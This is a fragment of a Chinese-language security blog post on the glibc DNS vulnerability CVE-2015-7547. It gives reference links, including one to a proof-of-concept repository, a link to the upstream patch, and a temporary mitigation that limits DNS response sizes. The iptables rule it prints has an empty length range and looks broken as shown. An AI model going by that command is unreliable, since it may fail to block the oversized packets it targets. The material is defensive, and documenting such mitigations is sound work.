https://github.com/fjserna/CVE-2015-7547
http://blog.knownsec.com/2016/02/linux-glibc-cve-2015-7547-analysis/

5. 缓解修复方案

0x1: Code Patch

https://sourceware.org/ml/libc-alpha/2016-02/msg00416.html

0x2: 临时缓解方案

技术人员可以通过将TCP DNS响应的大小限制为1024字节,并丢弃所有超过512字节的UDPDNS数据包来缓解该问题。值得庆幸的是,许多嵌入式Linux设备,例如家庭路由器,更倾向于使用uclibc库,因此可以免受该漏洞的影响

iptables -t filter -A INPUT -p udp -m length --length : -j DROP

Copyright (c) 2015 LittleHann All rights reserved

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